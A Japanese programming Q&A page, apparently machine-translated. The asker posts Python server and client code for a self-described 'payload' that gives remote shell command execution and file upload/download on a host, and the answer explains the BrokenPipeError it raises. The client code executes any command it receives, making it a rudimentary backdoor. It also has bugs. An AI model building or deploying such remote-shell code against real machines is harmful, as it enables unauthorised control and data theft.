2017-02-09 9 views
0

ホストコンピュータでコマンドをダウンロード/アップロードまたは実行するために、小さなペイロードとサーバーを作成する必要があります。壊れたパイプsend()関数のエラー

エラー:

Traceback (most recent call last): 
    File "ServerCompletPAY.py", line 43, in <module> 
    a.send(command) 
BrokenPipeError: [Errno 32] Broken pipe 

私はしかし、私は別のコマンドを入力すると、エラーが生成され、それが正常に動作する初めてファイルを実行

サーバコード:

import os 
import socket 

global opening_file 
global name_file 
global a 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
s.bind(("0.0.0.0",1111)) 
s.listen(5) 
a,c = s.accept() 
print ("[*] We Are Connected ") 

def shell() : 
    verbose = a.recv(102400) 
    print (verbose.decode(),"\n","\n") 

def download_from_client(): 
    opening_file = open(name_file,"wb") 
    opening_file.write(a.recv(102400)) 
    x.close() 
    opening_file.close()  

def download_to_client(): 
    opening_file = open(name_file,"rb") 
    file_needed = opening_file.read() 
    a.send(file_needed) 
    a.close() 
    opening_file.close() 

def main(): 
    if first_word == "download": 
     download_to_client() 
    elif first_word == "upload" : 
     download_from_client() 
    else : 
     shell() 

while True : 
    command = input("<Shell >") 
    name_file = command.split("/")[-1] 
    first_word = command.split(" ")[0] 
    command = command.encode() 
    a.send(command) 
    main() 

クライアントコード:事前に

from subprocess import * 
import os 
import socket 

def shell() : 
    commandexe = Popen(commandrecv.encode(),stdout=PIPE,shell=True) 
    comment = commandexe.communicate()[0] 
    s.send(comment) 

def download() :  
    file_name = commentrecv.split("/")[-1] 
    opening_file = open(file_name,"rb") 
    s.send(opening_file.read()) 
    opening_file.close() 

def upload(): 
    file_name = commentrecv.split("/")[-1] 
    opening_file = open(file_name,"wb") 
    file_name.write(s.recv(102400).decode()) 
    file_name.close() 

while True : 
    global s 
    global commandrecv 

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
    s.connect(("127.0.0.1",1111)) 
    commandrecv_encoded = s.recv(1024) 
    commandrecv = commandrecv_encoded.decode() 
    first_word = commandrecv.split(" ")[0] #to know if i need to upload or download 

    if not commandrecv : 
     break; 
    else: 
     if first_word == "download": 
      download() 
     elif first_word == "upload" : 
      upload() 
     else : 
      shell() 

ありがとう。それはあなたの問題に似て

+0

私の答えがあなたのために働くならば、それを正しいものとしてマークし、それにコメントをしてください。 –

答えて

0

私はこれを試してみてください、このAnswerを引用しています:

お使いのサーバー・プロセスは、ソケットへの書き込みSIGPIPEを受けています。これは、通常、他の(クライアント)側で完全にクローズされたソケットに書き込むときに発生します。これは、クライアントプログラムがサーバーからのすべてのデータが受信され、単にクローズ機能を使用してソケットを閉じるまで待機しない場合に発生する可能性があります。

通常、Cプログラムでは、SIGPIPEシグナルを無視するか、ダミーシグナルハンドラを設定することを試みます。この場合、閉じたソケットに書き込むときには、単純なエラーが返されます。あなたのケースでは、Pythonは、クライアントの早すぎる切断として処理することができる例外をスローするようです。

関連する問題